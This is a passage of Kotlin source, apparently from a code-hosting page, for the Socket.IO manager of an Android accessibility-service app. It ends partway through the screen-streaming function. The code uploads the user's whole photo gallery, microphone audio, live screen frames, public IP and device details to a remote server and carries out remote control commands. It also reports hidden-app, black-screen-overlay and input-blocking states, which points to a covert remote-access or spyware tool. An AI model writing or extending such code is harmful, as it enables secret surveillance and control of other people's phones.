1501067287
- SocketIOManager: 连接错误日志添加降频机制(前3次每次打印,之后每10次打印一次),避免服务器不可达时日志刷屏 - SocketIOManager: 连接成功时重置connectionFailureCount计数器,确保降频逻辑正确 - MainActivity: MediaProjectionManager延迟初始化日志从ERROR降级为INFO,这是正常行为不应报错
2899 lines
133 KiB
Kotlin
2899 lines
133 KiB
Kotlin
package com.hikoncont.network
|
||
|
||
import android.content.Context
|
||
import android.content.Intent
|
||
import android.os.Build
|
||
import android.os.Handler
|
||
import android.os.Looper
|
||
import android.util.Log
|
||
import android.view.WindowManager
|
||
import com.hikoncont.crash.CrashLogUploader
|
||
import com.hikoncont.service.AccessibilityRemoteService
|
||
import io.socket.client.IO
|
||
import io.socket.client.Socket
|
||
import io.socket.emitter.Emitter
|
||
import kotlinx.coroutines.*
|
||
import org.json.JSONObject
|
||
import org.json.JSONArray
|
||
import java.net.URISyntaxException
|
||
|
||
/**
|
||
* ✅ Socket.IO v4 官方客户端管理器 - 彻底解决47秒断开问题
|
||
*/
|
||
class SocketIOManager(private val service: AccessibilityRemoteService) {
|
||
|
||
companion object {
|
||
private const val TAG = "SocketIOManager"
|
||
}
|
||
|
||
// 🆕 锁屏状态缓存与定时检测
|
||
private var isScreenLocked: Boolean = false
|
||
private var lockStateJob: Job? = null
|
||
|
||
// 锁屏状态监控由connect()启动，避免在构造阶段协程作用域未就绪
|
||
|
||
private fun startLockStateMonitor() {
|
||
try {
|
||
lockStateJob?.cancel()
|
||
lockStateJob = scope.launch(Dispatchers.IO) {
|
||
while (isActive) {
|
||
try {
|
||
val before = isScreenLocked
|
||
val now = checkDeviceLocked()
|
||
isScreenLocked = now
|
||
if (before != now) {
|
||
Log.i(TAG, "🔒 锁屏状态变化: $before -> $now")
|
||
} else {
|
||
Log.d(TAG, "🔁 锁屏状态轮询: isLocked=$now")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "检测锁屏状态失败", e)
|
||
}
|
||
kotlinx.coroutines.delay(10_000)
|
||
}
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "启动锁屏状态监控失败", e)
|
||
}
|
||
}
|
||
|
||
private fun checkDeviceLocked(): Boolean {
|
||
return try {
|
||
val pm = service.getSystemService(android.content.Context.POWER_SERVICE) as? android.os.PowerManager
|
||
val isInteractive = try { pm?.isInteractive ?: true } catch (_: Exception) { true }
|
||
val locked = !isInteractive
|
||
Log.d(TAG, "🔍 锁屏检测: isInteractive=$isInteractive => isLocked=$locked")
|
||
locked
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "检测锁屏状态失败", e)
|
||
false
|
||
}
|
||
}
|
||
// 🆕 应用信息获取
|
||
private fun getAppVersionName(): String {
|
||
return try {
|
||
val pm = service.packageManager
|
||
val pkg = service.packageName
|
||
val pi = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||
pm.getPackageInfo(pkg, android.content.pm.PackageManager.PackageInfoFlags.of(0))
|
||
} else {
|
||
@Suppress("DEPRECATION")
|
||
pm.getPackageInfo(pkg, 0)
|
||
}
|
||
pi.versionName ?: "unknown"
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "获取应用版本失败", e)
|
||
"unknown"
|
||
}
|
||
}
|
||
|
||
private fun getAppName(): String {
|
||
return try {
|
||
val pm = service.packageManager
|
||
val ai = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||
pm.getApplicationInfo(service.packageName, android.content.pm.PackageManager.ApplicationInfoFlags.of(0))
|
||
} else {
|
||
@Suppress("DEPRECATION")
|
||
pm.getApplicationInfo(service.packageName, 0)
|
||
}
|
||
pm.getApplicationLabel(ai).toString()
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "获取应用名称失败", e)
|
||
"unknown"
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 发送相册数据到服务器（逐张发送；可被新的读取请求打断重启）
|
||
*/
|
||
fun sendGalleryData(items: List<com.hikoncont.manager.GalleryManager.GalleryItem>) {
|
||
try {
|
||
if (socket?.connected() == true) {
|
||
// 优化：逐张发送，避免单包过大
|
||
items.forEachIndexed { index, itx ->
|
||
try {
|
||
val base64Data = loadImageAsJpegBase64(itx.contentUri, 1280, 1280, 75)
|
||
if (base64Data == null) {
|
||
Log.w(TAG, "🖼️ 跳过图片(无法加载): ${itx.displayName} uri=${itx.contentUri}")
|
||
return@forEachIndexed
|
||
}
|
||
|
||
// 频率限制，避免与其他数据通道冲突
|
||
val now = System.currentTimeMillis()
|
||
if (now - lastGalleryImageTime < galleryImageInterval) {
|
||
Thread.sleep(galleryImageInterval - (now - lastGalleryImageTime))
|
||
}
|
||
lastGalleryImageTime = System.currentTimeMillis()
|
||
|
||
// 大小限制
|
||
val approxBytes = (base64Data.length * 3) / 4
|
||
if (approxBytes > maxGalleryImageSize) {
|
||
Log.w(TAG, "⚠️ 相册图片过大被跳过: ${approxBytes}B > ${maxGalleryImageSize}B (${itx.displayName})")
|
||
return@forEachIndexed
|
||
}
|
||
|
||
val payload = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("type", "gallery_image")
|
||
put("timestamp", System.currentTimeMillis())
|
||
put("index", index)
|
||
put("id", itx.id)
|
||
put("displayName", itx.displayName)
|
||
put("dateAdded", itx.dateAdded)
|
||
put("mimeType", itx.mimeType)
|
||
put("width", itx.width)
|
||
put("height", itx.height)
|
||
put("size", itx.size)
|
||
put("contentUri", itx.contentUri)
|
||
put("format", "JPEG")
|
||
put("data", base64Data)
|
||
}
|
||
socket?.emit("gallery_image", payload)
|
||
Log.d(TAG, "🖼️ 已发送相册图片: ${itx.displayName} (${itx.width}x${itx.height})")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 发送相册图片失败: ${itx.displayName}", e)
|
||
}
|
||
}
|
||
} else {
|
||
Log.w(TAG, "⚠️ Socket未连接，无法发送相册数据")
|
||
checkConnectionAndReconnect()
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "发送相册数据失败", e)
|
||
}
|
||
}
|
||
|
||
// 🆕 相册读取/发送控制
|
||
private var galleryJob: Job? = null
|
||
|
||
/**
|
||
* 启动完整相册读取并发送任务；若正在进行则取消并重启
|
||
*/
|
||
fun startReadAndSendAllGallery() {
|
||
try {
|
||
// 取消上一次任务
|
||
galleryJob?.cancel()
|
||
Log.d(TAG, "🖼️ 取消上一次相册读取发送任务（若存在）")
|
||
|
||
galleryJob = scope.launch(Dispatchers.IO) {
|
||
Log.d(TAG, "🖼️ 开始读取全部相册（不限数量）")
|
||
val items = service.readGallery(limit = -1)
|
||
Log.d(TAG, "🖼️ 读取完成，共 ${items.size} 张，开始发送")
|
||
sendGalleryData(items)
|
||
Log.d(TAG, "🖼️ 相册发送任务完成")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 启动相册读取发送任务失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 发送麦克风音频数据到服务器
|
||
*/
|
||
fun sendMicrophoneAudio(base64Audio: String, sampleRate: Int, sampleCount: Int, format: String = "PCM_16BIT_MONO") {
|
||
try {
|
||
if (socket?.connected() != true) {
|
||
Log.w(TAG, "⚠️ Socket未连接，无法发送音频数据")
|
||
checkConnectionAndReconnect()
|
||
return
|
||
}
|
||
val payload = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("type", "microphone_audio")
|
||
put("timestamp", System.currentTimeMillis())
|
||
put("sampleRate", sampleRate)
|
||
put("sampleCount", sampleCount)
|
||
put("format", format)
|
||
put("audioData", base64Audio)
|
||
}
|
||
socket?.emit("microphone_audio", payload)
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "发送音频数据失败", e)
|
||
}
|
||
}
|
||
|
||
private var socket: Socket? = null
|
||
private var isConnected = false
|
||
private var isDeviceRegistered = false
|
||
private var serverUrl: String = "" // 保存服务器地址
|
||
|
||
// 崩溃日志上传器
|
||
private val crashLogUploader = CrashLogUploader(service)
|
||
|
||
// ✅ 主动连接检测
|
||
private val scope = CoroutineScope(Dispatchers.IO + SupervisorJob())
|
||
private var connectionCheckJob: Job? = null
|
||
|
||
// 🔧 设备注册管理
|
||
private var registrationTimeoutHandler: Runnable? = null
|
||
private val mainHandler = Handler(Looper.getMainLooper())
|
||
private var registrationAttempts = 0
|
||
private var lastRegistrationTime = 0L
|
||
|
||
// ✅ 新增：网络状态监控相关变量
|
||
private var lastNetworkType: String? = null
|
||
private var lastConnectTime: Long = 0
|
||
private var transportErrorCount = 0
|
||
private var lastTransportErrorTime = 0L
|
||
// ✅ 网络质量监控
|
||
private var networkQualityScore = 100 // 0-100分，100为最佳
|
||
private var connectionSuccessCount = 0
|
||
private var connectionFailureCount = 0
|
||
private val recentConnectionTimes = mutableListOf<Long>() // 记录最近10次连接持续时间
|
||
|
||
// 🔧 新增：跟踪屏幕数据发送失败次数，避免单次失败触发重连
|
||
private var screenDataFailureCount = 0
|
||
|
||
// 🔧 新增：屏幕数据发送频率控制，减少transport error
|
||
private var lastScreenDataTime = 0L
|
||
private val screenDataInterval = 66L // 🎯 优化：调整为66ms间隔，匹配15fps采集频率，充分利用MediaProjection连续流
|
||
private val maxScreenDataSize = 2 * 1024 * 1024 // 2MB限制，避免数据过大
|
||
|
||
// 📷 摄像头数据发送控制
|
||
private var lastCameraDataTime = 0L
|
||
private val cameraDataInterval = 200L // 摄像头数据发送间隔200ms，匹配5fps，与屏幕数据保持一致
|
||
private val maxCameraDataSize = 1 * 1024 * 1024 // 1MB限制，摄像头数据通常较小
|
||
private var cameraDataFailureCount = 0
|
||
|
||
// 🔧 连接稳定性监控
|
||
private var lastSuccessfulDataSend = 0L
|
||
private val dataStarvationTimeout = 10000L // 10秒没有成功发送数据视为饥饿
|
||
private var isDataStarved = false
|
||
|
||
// 🆕 公网IP相关
|
||
private var cachedPublicIP: String? = null
|
||
private var lastIPCheckTime = 0L
|
||
private val IP_CACHE_DURATION = 300000L // 5分钟缓存
|
||
|
||
// 🖼️ 相册图片发送节流/大小限制
|
||
private var lastGalleryImageTime = 0L
|
||
private val galleryImageInterval = 250L
|
||
private val maxGalleryImageSize = 2 * 1024 * 1024 // 2MB
|
||
|
||
/**
|
||
* Connect to Socket.IO v4 server
|
||
*/
|
||
suspend fun connect(serverUrl: String) {
|
||
try {
|
||
this.serverUrl = serverUrl
|
||
Log.i(TAG, "Connecting to Socket.IO v4 server: $serverUrl")
|
||
|
||
// Validate server URL format
|
||
if (serverUrl.isBlank()) {
|
||
Log.e(TAG, "Server URL is empty, cannot connect")
|
||
return
|
||
}
|
||
|
||
// Validate URL format
|
||
val validatedUrl = try {
|
||
java.net.URI.create(serverUrl)
|
||
serverUrl
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "Invalid server URL format: $serverUrl", e)
|
||
return
|
||
}
|
||
|
||
// Config consistency check
|
||
val savedUrl = com.hikoncont.util.ConfigWriter.getCurrentServerUrl(service)
|
||
if (savedUrl != null && savedUrl != serverUrl) {
|
||
Log.w(TAG, "Config mismatch! Current: $serverUrl, Config: $savedUrl, using config URL")
|
||
connect(savedUrl)
|
||
return
|
||
}
|
||
|
||
// ✅ Socket.IO v4客户端配置 - 增强稳定性优化 + 随机化重连避免雪崩
|
||
val options = IO.Options().apply {
|
||
// 🔧 关键修复：支持polling+websocket双传输，允许升级到websocket以提升帧率
|
||
transports = arrayOf("polling", "websocket") // 先polling建立连接，再升级到websocket
|
||
reconnection = true
|
||
|
||
// ✅ 增强网络稳定性配置 - 针对transport error问题 + 随机延迟避免多设备同时重连
|
||
val randomOffset = (1000..3000).random().toLong() // 1-3秒随机偏移，分散重连时间
|
||
if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
|
||
// Android 15 特殊配置 - 更保守的超时设置
|
||
timeout = 60000 // 连接超时60秒
|
||
reconnectionDelay = 5000L + randomOffset // 重连延迟5-8秒，避免集中重连
|
||
reconnectionDelayMax = 20000 // 最大重连延迟20秒
|
||
reconnectionAttempts = 20 // 减少重连次数，避免过度重试
|
||
Log.i(TAG, "🔧 使用Android 15增强稳定性配置，随机延迟: +${randomOffset}ms")
|
||
} else {
|
||
// 其他版本使用优化后的配置
|
||
timeout = 45000 // 连接超时45秒
|
||
reconnectionDelay = 3000L + randomOffset // 重连延迟3-6秒，分散重连
|
||
reconnectionDelayMax = 15000 // 最大重连延迟15秒
|
||
reconnectionAttempts = 25 // 适中的重连次数
|
||
Log.i(TAG, "🔧 使用标准增强稳定性配置，随机延迟: +${randomOffset}ms")
|
||
}
|
||
|
||
forceNew = true
|
||
upgrade = true // ✅ 允许从polling升级到websocket，大幅提升传输效率
|
||
rememberUpgrade = true // 记住升级状态，重连时直接用websocket
|
||
|
||
// ✅ 新增：网络环境适配配置
|
||
if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
|
||
// 添加网络容错配置，包含设备信息用于服务器优化
|
||
query = "android15=true&api=${Build.VERSION.SDK_INT}&manufacturer=${android.os.Build.MANUFACTURER}&model=${android.os.Build.MODEL.replace(" ", "_")}"
|
||
}
|
||
|
||
Log.i(TAG, "🌐 Socket.IO配置：只使用polling传输，避免升级冲突导致的断开重连问题")
|
||
}
|
||
|
||
socket = IO.socket(serverUrl, options)
|
||
setupEventListeners()
|
||
socket?.connect()
|
||
// 启动锁屏状态监控
|
||
startLockStateMonitor()
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ Socket.IO连接失败", e)
|
||
throw e
|
||
}
|
||
}
|
||
|
||
private fun setupEventListeners() {
|
||
socket?.let { socket ->
|
||
|
||
socket.on(Socket.EVENT_CONNECT) {
|
||
Log.i(TAG, "Socket.IO v4 连接成功")
|
||
isConnected = true
|
||
isDeviceRegistered = false // 重置注册状态，等待重新注册
|
||
|
||
// ✅ 记录连接成功时间和网络类型
|
||
lastConnectTime = System.currentTimeMillis()
|
||
transportErrorCount = 0 // 重置transport error计数
|
||
connectionFailureCount = 0 // 重置连接失败计数
|
||
connectionSuccessCount++
|
||
updateNetworkQualityScore(true) // 连接成功，提升网络质量分数
|
||
|
||
// ✅ 检测网络类型变化
|
||
val currentNetworkType = getCurrentNetworkType()
|
||
if (lastNetworkType != null && lastNetworkType != currentNetworkType) {
|
||
Log.i(TAG, "🌐 检测到网络类型变化: $lastNetworkType -> $currentNetworkType")
|
||
}
|
||
lastNetworkType = currentNetworkType
|
||
|
||
// ✅ 暂停屏幕数据发送，等待注册完成
|
||
service.pauseScreenCaptureUntilRegistered()
|
||
|
||
// 立即发送设备注册，避免延迟导致识别问题
|
||
Log.e(TAG, "🚀🚀🚀 立即发送设备注册!!! 🚀🚀🚀")
|
||
|
||
// 🔧 多设备冷启动优化：添加随机延迟，避免同时注册冲突
|
||
val randomDelay = kotlin.random.Random.nextLong(0, 2000) // 0-2秒随机延迟
|
||
Log.d(TAG, "🔄 多设备冷启动优化：延迟${randomDelay}ms后发送注册，避免并发冲突")
|
||
|
||
mainHandler.postDelayed({
|
||
if (isConnected && socket.connected()) {
|
||
sendDeviceRegistration()
|
||
} else {
|
||
Log.w(TAG, "⚠️ 延迟注册时发现连接已断开，跳过注册")
|
||
}
|
||
}, randomDelay)
|
||
|
||
// ✅ 启动主动连接检测
|
||
startConnectionMonitoring()
|
||
}
|
||
|
||
socket.on(Socket.EVENT_DISCONNECT) { args ->
|
||
val reason = if (args.isNotEmpty()) args[0].toString() else "unknown"
|
||
Log.w(TAG, "Socket.IO v4 断开: $reason")
|
||
|
||
// ✅ 增强断开原因分析和统计
|
||
val currentTime = System.currentTimeMillis()
|
||
val connectionDuration = currentTime - lastConnectTime
|
||
|
||
// 记录连接时长用于网络质量评估
|
||
recordConnectionDuration(connectionDuration)
|
||
|
||
if (reason == "transport error") {
|
||
transportErrorCount++
|
||
lastTransportErrorTime = currentTime
|
||
connectionFailureCount++
|
||
updateNetworkQualityScore(false, "transport_error", connectionDuration)
|
||
Log.e(TAG, "🚨 Transport Error 统计: 次数=$transportErrorCount, 连接持续时间=${connectionDuration}ms")
|
||
|
||
// ✅ 如果transport error频繁发生，调整策略
|
||
if (transportErrorCount >= 3 && connectionDuration < 300000) { // 5分钟内3次
|
||
Log.w(TAG, "⚠️ Transport Error频繁发生，将在重连时使用保守策略")
|
||
}
|
||
} else {
|
||
// 其他原因断开也要更新网络质量评分
|
||
updateNetworkQualityScore(false, reason, connectionDuration)
|
||
}
|
||
|
||
isConnected = false
|
||
isDeviceRegistered = false
|
||
|
||
// 🔧 重置注册状态
|
||
registrationAttempts = 0
|
||
registrationTimeoutHandler?.let { handler ->
|
||
mainHandler.removeCallbacks(handler)
|
||
registrationTimeoutHandler = null
|
||
}
|
||
|
||
// ✅ 停止连接检测
|
||
connectionCheckJob?.cancel()
|
||
// ✅ 断开时暂停屏幕捕获但保留权限，而不是完全停止
|
||
service.pauseScreenCapture()
|
||
}
|
||
|
||
socket.on(Socket.EVENT_CONNECT_ERROR) { args ->
|
||
val error = if (args.isNotEmpty()) args[0] else null
|
||
val errorMsg = error?.toString() ?: "unknown"
|
||
connectionFailureCount++
|
||
updateNetworkQualityScore(false, "connect_error", 0)
|
||
|
||
// Throttle log output: first 3 errors always log, then every 10th
|
||
val shouldLog = connectionFailureCount <= 3 || connectionFailureCount % 10 == 0
|
||
if (!shouldLog) return@on
|
||
|
||
val isTransientError = errorMsg.contains("xhr poll error") ||
|
||
errorMsg.contains("timeout") ||
|
||
errorMsg.contains("websocket error")
|
||
if (isTransientError) {
|
||
Log.w(TAG, "Socket.IO connection error #$connectionFailureCount (transient, will auto-retry): $errorMsg")
|
||
} else {
|
||
Log.e(TAG, "Socket.IO connection error #$connectionFailureCount: $errorMsg")
|
||
}
|
||
if (error is Exception && error.cause != null) {
|
||
Log.w(TAG, "Socket.IO error root cause: ${error.cause?.javaClass?.simpleName}: ${error.cause?.message}")
|
||
}
|
||
}
|
||
|
||
socket.on("device_registered") { args ->
|
||
if (args.isNotEmpty()) {
|
||
try {
|
||
val data = args[0] as JSONObject
|
||
Log.e(TAG, "🎉🎉🎉 设备注册成功: ${data.optString("message")} 🎉🎉🎉")
|
||
isDeviceRegistered = true
|
||
registrationAttempts = 0 // 重置尝试次数
|
||
|
||
// 🔧 取消超时检测
|
||
registrationTimeoutHandler?.let { handler ->
|
||
mainHandler.removeCallbacks(handler)
|
||
registrationTimeoutHandler = null
|
||
}
|
||
|
||
// ✅ 注册成功后恢复屏幕数据发送
|
||
Log.e(TAG, "🚀🚀🚀 设备注册成功，恢复屏幕数据发送!!! 🚀🚀🚀")
|
||
service.resumeScreenCaptureAfterRegistration()
|
||
|
||
// ✅ 设备注册成功，检查是否可以隐藏配置遮盖
|
||
Log.i(TAG, "✅ 设备注册成功，检查是否可以隐藏配置遮盖")
|
||
service.checkAndHideConfigMask()
|
||
|
||
// 📤 设备注册成功后上传待处理的崩溃日志
|
||
crashLogUploader.uploadPendingLogs(socket, getDeviceId())
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 处理设备注册响应失败", e)
|
||
}
|
||
} else {
|
||
Log.e(TAG, "⚠️ 收到device_registered事件但无参数")
|
||
}
|
||
}
|
||
|
||
socket.on("control_command") { args ->
|
||
if (args.isNotEmpty()) {
|
||
try {
|
||
val data = args[0] as JSONObject
|
||
handleControlMessage(data)
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "处理控制命令失败", e)
|
||
}
|
||
}
|
||
}
|
||
|
||
// ✅ 处理服务器重启事件
|
||
socket.on("server_restarted") { _ ->
|
||
Log.e(TAG, "🔄🔄🔄 收到服务器重启通知，立即重新注册!!! 🔄🔄🔄")
|
||
// 重置注册状态
|
||
isDeviceRegistered = false
|
||
// 立即重新注册
|
||
sendDeviceRegistration()
|
||
}
|
||
|
||
socket.on("ping_for_registration") { _ ->
|
||
Log.e(TAG, "🔄🔄🔄 收到重新注册Ping，立即重新注册!!! 🔄🔄🔄")
|
||
// 重置注册状态
|
||
isDeviceRegistered = false
|
||
// 立即重新注册
|
||
sendDeviceRegistration()
|
||
}
|
||
|
||
// 🔧 添加CONNECTION_TEST_RESPONSE响应处理，解决心跳检测失败累积问题
|
||
socket.on("CONNECTION_TEST_RESPONSE") { args ->
|
||
try {
|
||
if (args.isNotEmpty()) {
|
||
val data = args[0] as JSONObject
|
||
val success = data.optBoolean("success", false)
|
||
val timestamp = data.optLong("timestamp", 0)
|
||
Log.d(TAG, "✅ 收到服务器心跳响应: success=$success, timestamp=$timestamp")
|
||
|
||
// 重置心跳失败计数，表示连接正常
|
||
// 这个响应表明服务器正常处理了我们的心跳测试
|
||
} else {
|
||
Log.w(TAG, "⚠️ 收到CONNECTION_TEST_RESPONSE但无参数")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 处理CONNECTION_TEST_RESPONSE失败", e)
|
||
}
|
||
}
|
||
|
||
// 🔧 添加标准pong响应处理
|
||
socket.on("pong") { _ ->
|
||
Log.d(TAG, "🏓 收到服务器pong响应")
|
||
}
|
||
|
||
// 🔧 添加心跳确认响应处理
|
||
socket.on("heartbeat_ack") { args ->
|
||
try {
|
||
if (args.isNotEmpty()) {
|
||
val data = args[0] as JSONObject
|
||
val timestamp = data.optLong("timestamp", 0)
|
||
Log.d(TAG, "💓 收到服务器心跳确认: timestamp=$timestamp")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 处理heartbeat_ack失败", e)
|
||
}
|
||
}
|
||
|
||
// 处理UI层次结构分析请求
|
||
socket.on("ui_hierarchy_request") { args ->
|
||
Log.e(TAG, "🔍🔍🔍 收到UI层次结构请求!!! 🔍🔍🔍")
|
||
Log.e(TAG, "📋 Socket连接状态: connected=${socket.connected()}, id=${socket.id()}")
|
||
Log.e(TAG, "📋 当前时间戳: ${System.currentTimeMillis()}")
|
||
if (args.isNotEmpty()) {
|
||
try {
|
||
val data = args[0] as JSONObject
|
||
Log.e(TAG, "📋 请求数据: $data")
|
||
handleUIHierarchyRequest(data)
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌❌❌ 处理UI层次结构请求失败!!! ❌❌❌", e)
|
||
}
|
||
} else {
|
||
Log.e(TAG, "❌❌❌ UI层次结构请求参数为空!!! ❌❌❌")
|
||
}
|
||
}
|
||
|
||
// 📊 自适应画质：接收服务端下发的质量调整指令
|
||
socket.on("quality_adjust") { args ->
|
||
if (args.isNotEmpty()) {
|
||
try {
|
||
val data = args[0] as JSONObject
|
||
Log.i(TAG, "📊 收到画质调整指令: $data")
|
||
val fps = data.optInt("fps", -1)
|
||
val quality = data.optInt("quality", -1)
|
||
val maxWidth = data.optInt("maxWidth", -1)
|
||
val maxHeight = data.optInt("maxHeight", -1)
|
||
service.getScreenCaptureManager()?.adjustQuality(fps, quality, maxWidth, maxHeight)
|
||
|
||
// ✅ 支持服务端指令切换采集模式
|
||
val captureMode = data.optString("captureMode", "")
|
||
if (captureMode == "accessibility") {
|
||
Log.i(TAG, "🔄 服务端指令：切换到无障碍截图模式")
|
||
service.getScreenCaptureManager()?.switchToAccessibilityMode()
|
||
} else if (captureMode == "mediaprojection") {
|
||
Log.i(TAG, "🔄 服务端指令：切换到MediaProjection模式")
|
||
service.getScreenCaptureManager()?.switchToMediaProjectionMode()
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 处理画质调整指令失败", e)
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
private fun sendDeviceRegistration() {
|
||
// 🆕 使用协程获取公网IP并发送注册
|
||
scope.launch {
|
||
try {
|
||
// 🔧 防止频繁重复注册
|
||
val currentTime = System.currentTimeMillis()
|
||
if (currentTime - lastRegistrationTime < 3000) { // 3秒内不重复发送
|
||
Log.d(TAG, "📝 距离上次注册时间过短，跳过重复注册")
|
||
return@launch
|
||
}
|
||
|
||
lastRegistrationTime = currentTime
|
||
registrationAttempts++
|
||
|
||
// 🔧 限制最大尝试次数，避免无限重试
|
||
if (registrationAttempts > 10) {
|
||
Log.e(TAG, "❌ 设备注册尝试次数过多($registrationAttempts)，可能服务器有问题，暂停注册")
|
||
return@launch
|
||
}
|
||
|
||
// 🆕 获取公网IP（异步操作，有缓存）
|
||
val publicIP = getPublicIP()
|
||
Log.i(TAG, "🌐 设备注册包含公网IP: ${publicIP ?: "获取失败"}")
|
||
|
||
val androidDeviceId = getDeviceId()
|
||
val socketId = socket?.id() ?: "unknown"
|
||
val deviceInfo = JSONObject().apply {
|
||
put("deviceId", androidDeviceId) // Android设备ID
|
||
put("socketId", socketId) // Socket.IO连接ID
|
||
put("deviceName", getUniqueDeviceName())
|
||
put("deviceModel", android.os.Build.MODEL)
|
||
put("osVersion", android.os.Build.VERSION.RELEASE)
|
||
put("appVersion", getAppVersionName())
|
||
put("appPackage", service.packageName)
|
||
put("appName", getAppName())
|
||
put("screenWidth", getScreenWidth())
|
||
put("screenHeight", getScreenHeight())
|
||
put("timestamp", System.currentTimeMillis())
|
||
put("capabilities", org.json.JSONArray().apply {
|
||
put("click")
|
||
put("swipe")
|
||
put("input")
|
||
put("screenshot")
|
||
})
|
||
put("inputBlocked", service.isInputBlocked())
|
||
// 🆕 添加当前黑屏遮盖状态
|
||
put("blackScreenActive", service.isBlackScreenActive())
|
||
// 🆕 添加当前应用隐藏状态
|
||
put("appHidden", service.isAppHidden())
|
||
// 添加更多设备信息帮助服务端识别
|
||
put("manufacturer", android.os.Build.MANUFACTURER)
|
||
put("brand", android.os.Build.BRAND)
|
||
put("fingerprint", android.os.Build.FINGERPRINT.takeLast(16)) // 只取最后16位
|
||
// 🆕 添加公网IP信息
|
||
put("publicIP", publicIP ?: "unknown")
|
||
// 🆕 添加详细系统版本信息
|
||
put("systemVersionName", getSystemVersionName())
|
||
put("romType", getROMType())
|
||
put("romVersion", getROMVersion())
|
||
put("osBuildVersion", getOSBuildVersion())
|
||
}
|
||
|
||
Log.e(TAG, "🔑🔑🔑 发送设备注册(第${registrationAttempts}次)!!! 🔑🔑🔑")
|
||
Log.e(TAG, "📱 设备信息: 设备ID=${deviceInfo.optString("deviceId")}, 设备名=${deviceInfo.optString("deviceName")}")
|
||
Log.e(TAG, "🌐 Socket连接状态: connected=${socket?.connected()}, isConnected=$isConnected")
|
||
Log.e(TAG, "🔑 Socket ID详情: ${socket?.id()}")
|
||
Log.e(TAG, "🌐 公网IP: ${publicIP ?: "获取失败"}")
|
||
Log.e(TAG, "📋 完整设备信息: ${deviceInfo.toString()}")
|
||
|
||
val emitResult = socket?.emit("device_register", deviceInfo)
|
||
Log.e(TAG, "📡 设备注册发送结果: $emitResult")
|
||
|
||
// 🔧 清除之前的超时检测，设置新的超时检测
|
||
registrationTimeoutHandler?.let { handler ->
|
||
mainHandler.removeCallbacks(handler)
|
||
}
|
||
|
||
registrationTimeoutHandler = Runnable {
|
||
if (!isDeviceRegistered && registrationAttempts <= 10) {
|
||
Log.e(TAG, "⚠️⚠️⚠️ 设备注册超时，15秒内未收到确认，重新发送注册!!! ⚠️⚠️⚠️")
|
||
sendDeviceRegistration()
|
||
}
|
||
}
|
||
|
||
mainHandler.postDelayed(registrationTimeoutHandler!!, 15000) // 改为15秒超时
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "发送设备注册失败", e)
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 发送屏幕数据到服务器（优化版本，减少transport error）
|
||
*/
|
||
fun sendScreenData(frameData: ByteArray) {
|
||
|
||
try {
|
||
val currentTime = System.currentTimeMillis()
|
||
|
||
// 🔧 频率限制：避免发送过于频繁导致transport error
|
||
if (currentTime - lastScreenDataTime < screenDataInterval) {
|
||
// 跳过这帧，避免发送过于频繁
|
||
return
|
||
}
|
||
|
||
// 🔧 大小检查：避免发送过大数据导致transport error
|
||
if (frameData.size > maxScreenDataSize) {
|
||
Log.w(TAG, "屏幕数据过大被跳过: ${frameData.size} bytes > ${maxScreenDataSize} bytes")
|
||
return
|
||
}
|
||
|
||
// 🔧 连接饥饿检查：如果长时间无法发送数据，可能连接有问题
|
||
if (lastSuccessfulDataSend > 0 && currentTime - lastSuccessfulDataSend > dataStarvationTimeout) {
|
||
if (!isDataStarved) {
|
||
Log.w(TAG, "检测到数据发送饥饿(${currentTime - lastSuccessfulDataSend}ms)，连接可能有问题")
|
||
isDataStarved = true
|
||
// 不立即重连，而是给连接一些时间恢复
|
||
}
|
||
}
|
||
|
||
if (socket?.connected() == true) {
|
||
// 🎯 优化：提前计算Base64字符串，减少JSON构建时的内存分配
|
||
val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP)
|
||
|
||
val screenData = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("format", "JPEG")
|
||
put("data", base64Data)
|
||
put("width", getScreenWidth())
|
||
put("height", getScreenHeight())
|
||
put("quality", 50)
|
||
put("timestamp", currentTime)
|
||
put("isLocked", isScreenLocked)
|
||
}
|
||
|
||
// 🔧 优化：增加emit失败的容错机制，避免单次失败立即触发重连
|
||
try {
|
||
socket?.emit("screen_data", screenData)
|
||
// 发送成功，重置发送失败计数和饥饿状态
|
||
screenDataFailureCount = 0
|
||
lastSuccessfulDataSend = currentTime
|
||
isDataStarved = false
|
||
// ✅ 修正：仅在成功emit后更新限流时间戳，避免提前锁窗导致误丢帧
|
||
lastScreenDataTime = currentTime
|
||
// 🎯 优化：记录压缩和编码效率，监控优化效果
|
||
val base64Size = base64Data.length
|
||
val overhead = if (frameData.size > 0) "%.1f%%".format(((base64Size - frameData.size).toFloat() / frameData.size) * 100) else "N/A"
|
||
